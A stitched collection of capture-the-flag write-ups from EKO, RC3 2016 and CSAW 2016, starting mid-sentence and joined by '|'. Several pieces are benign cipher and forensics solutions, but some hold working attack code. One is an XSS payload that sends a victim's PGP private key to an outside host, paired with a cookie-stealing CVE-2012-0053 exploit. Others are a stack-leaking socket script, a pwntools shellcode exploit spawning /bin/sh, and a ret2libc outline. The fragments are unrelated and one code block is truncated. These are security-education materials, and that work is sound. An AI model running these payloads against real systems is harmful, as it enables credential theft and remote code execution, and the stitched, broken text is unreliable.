on to the next iteration. If the credit card number is valid, we print the valid onto the Standard Output, and then move on to the next credit card number to brute force.Let’s test our script.The highlighted parts are the output, and the rest is the input pasted from the web page. Make sure you hit the Enter key after pasting the input. The script can usually calculate valid credit card numbers in under 2 seconds. I use a high-end gaming rig so it might be a bit different for you.Copying text from the Command Prompt window is difficult given the time constraint of the puzzle so we would want to have that output somewhere easier to copy from, hence, I piped the program’s output into a text file and opened that file using Notepad. For faster execution, write a batch script like the following:```python creditcard.py > creditcard.txtnotepad creditcard.txt```Now prepare the Doritos and Mountain Dew because we’re gonna be doing some real MLG Quick Scoping action here. If you fail, start from this step again.Run the batch script I asked you to create earlier but don’t do anything yet once creditcard.py has begun executingMake sure that the web browser viewing the puzzle page is windowed. Move it right beside the Command Prompt window that the batch script is executing on. This will allow us to quickly copy from the web page and paste into the creditcard.py script.Now refresh the page and quickly copy the information that we need from the web page like this:After that, quickly paste into the Command Prompt window running the batch script like this. In Windows 10, you just need to right-click. It might be a lot harder in older versions of Windows.Hit enter, and a Notepad window containing the numbers you need will pop up.Now paste those values into the puzzle web page before the timer runs out. Make sure you play your best Eurobeat track while doing this so you can attack those input fields at incredibly high speeds.Once you succeed, you’ll end up with something like the image below. If you fail, do as they say and “git gud“.The flag is EKO{abda121daf4c4a7ba3e765b041a2f186}Download the source code for creditcard.py here |
<span>Tittle : My Lil Droid</span><span>Category : Forensics</span><span>Point : 100</span><span>Description : Sometimes not all files are needed.</span>Download Link: https://drive.google.com/file/d/0Bw7N3lAmY5PCOFNQZFgtSVlFZ3M/view?usp=sharingHint:<span>- You probably don't have to run itWriteup</span> |
#### Cachet, a web challenge from RC3 CTF 2016---
Cachet was a messaging service where the user can send messages (encrypted and decrypted on the client) to others. A PIN, verified by the server, is required before you can view an encrypted message.
The source code for the challenge itself is available at https://drive.google.com/file/d/0B3HqJpgroLZxMHBGU1QtcVc4UUU/view.
tl;dr: XSS the user to get their private key, abuse an old Apache server on another port to get the HttpOnly cookie and thus the encrypted flag.
We quickly found an XSS vulnerability in the PGP message itself. This is only sent to the client after the PIN is confirmed, but this turned out to be irrelevant.
Our first payload attempted to steal the PGP key by hooking `onkeypress`, but the bot did not trigger this, so we instead overwrote the `decryptMessage()` function:```javascriptfunction decryptMessage() { $.ajax({ url: "http://xx.xx.xx.xx/recv.php", data: {x: $("#privkey").val(), y: $("#msg-subject").val()}, });}```
Having the private key, we now needed the message to decrypt. After retrieving the list of messages from `read.php`, we saw the flag was in message #2 and the PIN was Julian Assange's birthday (as indicated by their subjects). We first tried simply retrieving message #2, but the application checked the `Referer` header to ensure the request was coming from the right page. Since we were coming from a different message, this check was failing. You cannot overwrite the `Referer` header in an AJAX request, and the cookies were marked HttpOnly, so we were temporarily stuck.
Eventually, we discovered a development server running on port 8080. While this was a non-functional version of the application, it was running an old version of Apache. It also had an `Access-Control-Allow-Origin` header set to the original site, allowing us to make AJAX requests (with cookies!) to it. This particular version of Apache was vulnerable to CVE-2012-0053, a vulnerability that will echo back sent cookies if you exceed Apache's header size limit. This allowed us to compromise the session cookie, which is marked HttpOnly, for the user using a modified exploit:```javascriptfunction setCookies (good) { // Construct string for cookie value var str = ""; for (var i=0; i< 819; i++) { str += "x"; } // Set cookies for (i = 0; i < 10; i++) { // Expire evil cookie if (good) { var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; } // Set evil cookie else { var cookie = "xss"+i+"="+str+";path=/"; } document.cookie = cookie; }} function makeRequest() { setCookies(); function parseCookies () { var cookie_dict = {}; // Only react on 400 status if (xhr.readyState === 4 && xhr.status === 400) { // Replace newlines and match content var content = xhr.responseText.replace(/\r|\n/g,'').match(/(.+)<\/pre>/); if (content.length) { // Remove Cookie: prefix content = content[1].replace("Cookie: ", ""); var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g); // Add cookies to object for (var i=0; i |
# TOPKEK
>A CNN reporter had only one question that she couldn't get off her mind
>>Do we even know, who is this 4 CHAN???
>So she set out to find who this 400lb hacker is. During her investigation, she>came across this cryptic message on some politically incorrect forum online,>can you figure out what it means?
This challenge presented the following text file:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP!KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK!TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK!TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK!TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!!KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!!KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!!TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK!TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!!TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!!KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK!TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP!KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!!TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!!TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!!KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!!KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!!KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!TOP!!!!! KEK! TOP!```
As only the only words in the file are TOP and KEK, I assumed that they were torepresent 0 or 1. I thought that the exclamation marks denoted how many timesto repeat 0 or 1.
With this in mind, I hacked up the following python code:
```python#!/usr/bin/python3
out = ''
with open('topkek', 'r') as f: for w in f.readlines()[0].split(): if "KEK" in w: out += '0' * w.count('!') if "TOP" in w: out += '1' * w.count('!')
n = int(out, 2)print('ASCII output: ' + n.to_bytes((n.bit_length() + 7) // 8, 'big').decode())```
Running this yielded the following output:
```ASCII output:flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```
Firing that flag into the site rewarded the team with 50 points. :-) |
# Write-up SALAD - RC3 Fall CTF 2016
Challenge text: “The fault, dear Brutus, is not in our stars, but in ourselves.” (I.ii.141) Julius Caesar in William Shakespeare’s Julius CaesarCipher Text: 7sj-ighm-742q3w4t
This challenge provides a Cipher Text, where every character was rotated by 20 positions using a custom alphabet. The custom alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.The challenge was solved using caesar.py, created by rickvg, which can be found in this repository.
Usage:> python caesar.py [integer|all] [input file]
In this case, I removed the dashes (-) from the cipher text as they were not part of the alphabet and used the command:> python caesar.py all cipher
Output of the script: >ROT 1: 8TKJHIN853R4X5U >ROT 2: 9ULKIJO964S5Y6V >ROT 3: AVMLJKPA75T6Z7W >ROT 4: BWNMKLQB86U708X >ROT 5: CXONLMRC97V819Y >ROT 6: DYPOMNSDA8W92AZ >ROT 7: EZQPNOTEB9XA3B0 >ROT 8: F0RQOPUFCAYB4C1 >ROT 9: G1SRPQVGDBZC5D2 >ROT 10: H2TSQRWHEC0D6E3 >ROT 11: I3UTRSXIFD1E7F4 >ROT 12: J4VUSTYJGE2F8G5 >ROT 13: K5WVTUZKHF3G9H6 >ROT 14: L6XWUV0LIG4HAI7 >ROT 15: M7YXVW1MJH5IBJ8 >ROT 16: N8ZYWX2NKI6JCK9 >ROT 17: O90ZXY3OLJ7KDLA >ROT 18: PA10YZ4PMK8LEMB >ROT 19: QB21Z05QNL9MFNC >ROT 20: RC32016ROMANGOD >ROT 21: SD43127SPNBOHPE >ROT 22: TE54238TQOCPIQF >ROT 23: UF65349URPDQJRG >ROT 24: VG7645AVSQERKSH >ROT 25: WH8756BWTRFSLTI >ROT 26: XI9867CXUSGTMUJ >ROT 27: YJA978DYVTHUNVK >ROT 28: ZKBA89EZWUIVOWL >ROT 29: 0LCB9AF0XVJWPXM >ROT 30: 1MDCABG1YWKXQYN >ROT 31: 2NEDBCH2ZXLYRZO >ROT 32: 3OFECDI30YMZS0P >ROT 33: 4PGFDEJ41ZN0T1Q >ROT 34: 5QHGEFK520O1U2R >ROT 35: 6RIHFGL631P2V3S
Flag:> RC3-2016-ROMANGOD |
ERROR: type should be string, got "https://pastebinthehacker.blogspot.com.au/2016/09/csaw-2016-pwn-500-momspaghetti-draft.htmlDraft version, only brief notes and an incomplete solution. I'm like 90% the way there" |
# CSAW Quals 2016: Kill - Forensics 50
> Is kill can fix? Sign the autopsy file?
We are given the file `kill.pcapng`
```bash$ strings kill.pcapng | grep flagflag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}``` |
#Write-up Dirty Birdy - RC3 Fall CTF 2016
Challenge text:We had an employee that was up to no good. Our SIEM caught him uploading files to a website from our file server but we canceled the transmission. We currently have an image of home directory that we store on our server. Take a look for yourself on what he stole.Download Link: https://drive.google.com/file/d/0Bw7N3lAmY5PCUWExQUJVZGVySXc/view?usp=sharing
This challenge provides the file dtrump.img. This is probably a filesystem as the challenge text mentions "image of home directory".The command to check what filetype this file is:
> file dtrump.img
Execution of the command results in the output:> dtrump.img: ISO 9660 CD-ROM filesystem data 'CDROM'
The file is a CD-ROM. To read the structure and files on the CD-ROM, the filesystem can be mounted. Mounting the file can be achieved by using the following command:
> mount dtrump.img /mnt/media
To browse to the files run command:> cd /mnt/media
The folder structure of the CD-ROM:```root@knokknokwhoisdere:/mnt/media# lsDesktop Downloads Music Public secretfiles VideosDocuments examples.desktop Pictures rr_moved Templates```
All folders appear to be empty, except for the folder "secretfiles", which contains the visible files:* document.txt;* README.md;* Workbook1.xlsx.gpg.
#Analyzing the file contentsThere are three visible files in folder "secretfiles". Command 'cat' is used to preview the contents of the files.
> document.txt: passowrd123
This file appears to be a nonsense TXT, but is definitely a file that might be needed later.
> README.md: # supersecret
This file appears to be a github README.md file as the content contains github syntaxis for header text (\#).
> Workbook1.xlsx.gpg: Contents are too long to paste here, but it appears to be a GPG-encrypted Excel-file
Command to decrypt this file:```root@knokknokwhoisdere:/mnt/media/secretfiles# gpg --decrypt Workbook1.xlsx.gpg gpg: encrypted with 1024-bit RSA key, ID 51B94612E22CB12D, created 2016-11-18 "ThugG (lolz) <[email protected]>"gpg: decryption failed: No secret key```The secret key is still missing, which is required to decrypt Workbook1.xlsx.gpg. As all other folders seem to be empty, it is time to check the folders for hidden files with command:> ls -al
The result is that folder secretfiles contains a hidden folder, named .git. This might contain a reference to a github repository containing the private key.
#Analyzing .gitThe github page corresponding to the .git directory can be found in "config".
```root@knokknokwhoisdere:/mnt/media/secretfiles/.git# cat config[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true[remote "origin"] url = https://github.com/rc3club/supersecret.git fetch = +refs/heads/*:refs/remotes/origin/*[branch "master"] remote = origin merge = refs/heads/master```
Let's clone this repository into a local folder:
```root@knokknokwhoisdere:~/Desktop# git clone https://github.com/rc3club/supersecret.gitCloning into 'supersecret'...remote: Counting objects: 3, done.remote: Compressing objects: 100% (2/2), done.remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0Unpacking objects: 100% (3/3), done.Checking connectivity... done.```
The folder indeed contains a file named private.key. This might be the key we are looking for, so import the file into the gpg secret keys list:```root@knokknokwhoisdere:~/Desktop/supersecret# gpg --import private.keygpg: key BD8B144E8FFDF6D6: "ThugG (lolz) <[email protected]>" not changedgpg: key BD8B144E8FFDF6D6: secret key importedgpg: Total number processed: 1gpg: unchanged: 1gpg: secret keys read: 1gpg: secret keys imported: 1```
The name of the secret key appears to be similar to the requested key, so let's try to decrypt the workbook again.
```root@knokknokwhoisdere:~/Desktop# gpg --decrypt Workbook1.xlsx.gpg > Workbook.xlsxgpg: encrypted with 1024-bit RSA key, ID 51B94612E22CB12D, created 2016-11-18 "ThugG (lolz) <[email protected]>"```
The output is "Workbook.xlsx" which can be opened (if it is an Excel file) with software like Microsoft Office Excel/LibreOffice/OpenOffice.The workbook, however, requests a password to open the Excel file.
#Opening the Excel fileWe have two files remaining:* README.md;* document.txt
First try the text in document.txt: passowrd123. This didn't work. Second try the password in README.md: supersecret. This didn't work either. There could be a typo in the file document.txt.At last try the text in document.txt (corrected): password123. This worked.
An Excel sheet opens containing the text: Equity Analysis of a Project, with numbers. In the lower left corner we can see there are two sheets.After clicking on Sheet2, the formula input line contains the flag:> RC3-2016-SNEAKY21 |
# Bleeding (pwn 50)
###ENG[PL](#pl-version)
For the task we get a [client](bleed_client) ELF binary and a server address to connect to.The client asks us for some seed word, performs some calculations on it and sends the result to the server.The server responds with `secure` password generated from our input and with our seed word.
The encoded data sent by client to server have 10 more bytes than our seed word.We tried reversing the encoding algorithm, which consisted of xors, additions and subtractions but we quickly realised that it's not necessary.The length of the seed word is encoded in the 10-bytes prefix added by client!
This meant that we could generate payload for a 512 bytes long seed and then send to the server only the initial 10 bytes.The server would then try to sent back the seed to us, but would try to send 512 bytes, where there were 0, which resulted in sending random bytes from server stack, flag included.
```pythonimport socketfrom time import sleep
def encode(): # full payload: 'ef9e8dd834ffbabea6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b2860a00' # only prefix return 'ef9e8dd834ffbabea6d5'.decode('hex')
def main(): url = "4ff0eff1d46c1d74d152aaf36de6f2799020bdbc.ctf.site" port = 50000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) sleep(1) s.sendall(encode()) sleep(1) received = s.recv(9999) print(received) print(received.encode("hex"))
main()```
`EKO{1m_bl33d1ng_byt35}`
###PL version
W zadaniu dostajemy [klienta](bleed_client) będącego linuxowm ELFem, oraz adres serwera do którego należy się połączyć.Klient pyta nas o dowolny ciąg, wykonuje na nim obliczenia i wysyła do serwera.Serwer odpowiada `bezpiecznym` hasłem wygenerowanym dla naszych danych, oraz ciągiem który podaliśmy.
Zakodowane przez klienta dane mają o 10 bajtów więcej niż ciąg który podajemy.Próbowaliśmy początkowo zreversować algorytm kodowania, złożony z xorów, dodawań i odejmowań, ale szybko zobaczyliśmy, że nie ma takiej potrzeby.Długość naszego ciągu była zakodowana w 10-bajtowym prefixie dodawanym przez klienta do naszego ciągu.
To oznacza że mogliśmy wygenerować klientem dane dla 512 bajtowego ciągu a potem wysłać do serwera jedynie pierwsze 10 bajtów.Serwer próbował odesłać nam nasze dane o długości 512 bajtów, podczas gdy wysłaliśmy 0, co spowodowało wysłanie losowych wartości ze stosu serwera, w tym flagi.
```pythonimport socketfrom time import sleep
def encode(): # full payload: 'ef9e8dd834ffbabea6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b2860a00' # only prefix return 'ef9e8dd834ffbabea6d5'.decode('hex')
def main(): url = "4ff0eff1d46c1d74d152aaf36de6f2799020bdbc.ctf.site" port = 50000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) sleep(1) s.sendall(encode()) sleep(1) received = s.recv(9999) print(received) print(received.encode("hex"))
main()```
`EKO{1m_bl33d1ng_byt35}` |
#!/usr/bin/env python
import sys
from pwn import *
ADD = "1"VIEW = "3"QUIT = "4"
sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"stack_offset = 0x4ac - 0x3cc
def exploit(r): # Leak ebp r.recv() r.sendline(VIEW) r.sendline("7") r.recvuntil("Product ID: ") addr = r.recvuntil(",") addr = int(hex(int(addr[:-1]) + 2**32), 0) log.info("Got stack address 0x{:08x}".format(addr))
# Add 6 items that contain the shellcode sc_padded = sc.ljust(6*12) for i in range(6): si = i * 12 r.sendline(ADD) r.sendline(str(u32(sc_padded[si+8:si+12]))) r.sendline(sc_padded[si:si+8])
# One more whose ID will overwrite the RA r.sendline(ADD) r.sendline(str(addr - stack_offset)) r.sendline("holymoly")
# Quit out r.recv() r.sendline(QUIT) r.interactive()
if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) exploit(r) else: r = process(['./IMS-easy'], env={"LD_PRELOAD":""}) print util.proc.pidof(r) pause() exploit(r) |
It's pretty simple actually. There was a gif image with some of cats on every frame. Just open the gif using your image editor and count the total amount of cats on the frame.The flag is RC3-2016-MEOWTAIN. :) |
Like + Comment + Share Thanks you very much :DContact us : [email protected]https://phucteam.wordpress.com/2016/11/22/rc3-ctf-forensic-300-breaking-news/ |
# RC3 CTF 2016 writeup
## Salad**Category:** Crypto**Points:** 100**Solves:** **Description:**
> “The fault, dear Brutus, is not in our stars, but in ourselves.” (I.ii.141) Julius Caesar in William Shakespeare’s Julius Caesar
> Cipher Text: 7sj-ighm-742q3w4t
## Write-upThe idea behind this problem is to find out which cipher is. In each CTF, it's pretty common to have a substitution cipher. No doubt, I thought it would be the Caesar cipher, but the first half (almost each challenge) had `RC3-2016-` so, the substitution cipher must handle the number as well.
A slight modification of the standard Caesar cipher gives us an equivalent to a right shift of 20.
```text0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJ
7sj-ighm-742q3w4tRC3-2016-ROMANGOD```
The flag is `=> RC3-2016-ROMANGOD`
## Calculus**Category:** Crypto**Points:** 200**Solves:** **Description:**
> Missing. There was a shared Google document link in view mode.
## Write-upA bunch of equations, just take one variable name of each equation and concatenate them : `A-N-T-I-D-E-R-V`
The flag is `=> RC3-2016-ANTIDERV`
## Cats**Category:** Crypto**Points:** 300**Solves:** **Description:**
> Missing.
## Write-upThe idea is to count the number of cats in each slide and then convert it to alphabetic letters and reverse it to get the flag.
```textImage 1: 14 cats - NImage 2: 9 cats - IImage 3: 1 cat - AImage 4: 20 cats - TImage 5: 23 cats - WImage 5: 15 cats - OImage 6: 5 cats - EImage 7: 13 cats - M
NIATWOEMMEOWTAIN```
The flag is `=> RC3-2016-MEOWTAIN`
Thanks @Neolex for giving me this suggestion.
## My Game**Category:** Crypto**Points:** 400**Solves:** **Description:**
> *Letters intertwined* > *The end, recombined.* > *Awake, lying blinking,* > *Intensely thinking.* > *Muse and proclaim...* > *“It’s my game!”* >> ?HLJ1>AA"AII>888!CE9>AA>"~>IIG888BAA~@>d>B~B? > HH0bAI>>AE&>IIAACMQa
## Write-upAfter hours of searching and trying and... (╯°□°)╯︵ ┻━┻, I decided to note the first letter of each word.
> **L**etters **i**ntertwined > **T**he **e**nd, **r**ecombined. > **A**wake, **l**ying **b**linking, > **I**ntensely **t**hinking. > **M**use **a**nd **p**roclaim... > “**I**t’s **m**y **g**ame!”
Oh... ┐(°‿°)┌ , we got `LiTerAlbItMapImg => literal bitmap img`, coincidence? No!
After some digging on the Internet and old experience with pgm and ppm at my University, I found out that the best way to represent the data `?HLJ1>AA"AII>888!CE9>AA>"~>IIG888BAA~@>d>B~B?HH0bAI>>AE&>IIAACMQa` was to use the format pbm. So, I [converted](http://www.asciitohex.com/) it, which turns out to be
```text00111111 01001000 01001100 01001010 00110001 00111110 01000001 01000001 00100010 01000001 01001001 01001001 00111110 00111000 00111000 00111000 00100001 01000011 01000101 00111001 00111110 01000001 01000001 00111110 00100010 01111110 00111110 01001001 01001001 01000111 00111000 00111000 00111000 01000010 01000001 01000001 01111110 01000000 00111110 01100100 00111110 01000010 01111110 01000010 00111111 01001000 01001000 00110000 01100010 01000001 01001001 00111110 00111110 01000001 01000101 00100110 00111110 01001001 01001001 01000001 01000001 01000011 01001101 01010001 01100001```Total of 65 characters
Before we write a script in the format of pbm, we need to know the width and height of the bitmap. Above, the data give us 65 bytes, so the more appropriate way to represent it horizontally is to have 65 bits by 8 bits.
I wrote my script and I got the desired portable bitmap. For more information about bitmap format, [click here](https://en.wikipedia.org/wiki/Netpbm_format).
```pythonimport sys
WIDTH = 65HEIGHT = 8
pixel_flag = [[0 for i in range(WIDTH)] for j in range(HEIGHT)]
file = open("binary.txt", "r")
binary_line = file.readline()
y = 0x = 0for binary in binary_line: if binary != '1' and binary != '0' and binary != ' ': break
if binary == ' ': x += 1 y = 0 else: pixel_flag[y][x] = binary y += 1
file.close()
file = open("flag-crypto400.pbm", "w+")
file.write('P1\n')file.write('65 8\n')for i in range(HEIGHT): for j in range(WIDTH): file.write(str(pixel_flag[i][j])) file.write('\n')file.close()```
At last, the dreadful part is to open the image and voilà!
The flag is `=> RC3-2016-JAIP3GEZ`
It sounds like a French expression : `j'ai pigé` ;p
### Last wordsA big thanks to RC3-2016 Team. It was really fun :) |
# How do you got libc binary?
[DynELF from pwntools](http://docs.pwntools.com/en/stable/dynelf.html) will tries to read build id from libc binary,and search it in some database with millions libc binary. And pwntools found it!
# How this work?
1. Use OOB read to leak stack address and stack canary2. Now we can perform absolute address reading with known stack address, leak libc address and symbols (with `DynELF`)3. Add function will cause buffer overflow, perform ret2libc attack
Notice that put `"/bin/sh\0"` on the stack may not work, becase `system(stack_buffer_bin_sh)`may use the same stack space where the "/bin/sh\0" is. |
# CSAW Finals 2016 Writeups/Solutions
I played in the CSAW 2016 Finals at NYU in November.I spent my entire CTF on two series of challenges, Cybertronix 64k and Super Monster Ball.I got first blood on all four of these flags, and was the only person in the CTF to solve the latter of the Super Monster Ball challenges :)
Writeups and solutions I wrote during the CTF (cleaned up slightly!) are available in the appropriate subdirectories. |
Salad“The fault, dear Brutus, is not in our stars, but in ourselves.” (I.ii.141) Julius Caesar in William Shakespeare’s Julius CaesarCipher Text: 7sj-ighm-742q3w4t[POC]It's a subtitution cipherabcdefghijklmnopqrstuvwxyz0123456789UVWXYZ0123456789ABCDEFGHIJKLMNOPQRST# flag : RC3-2016-ROMANGOD |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
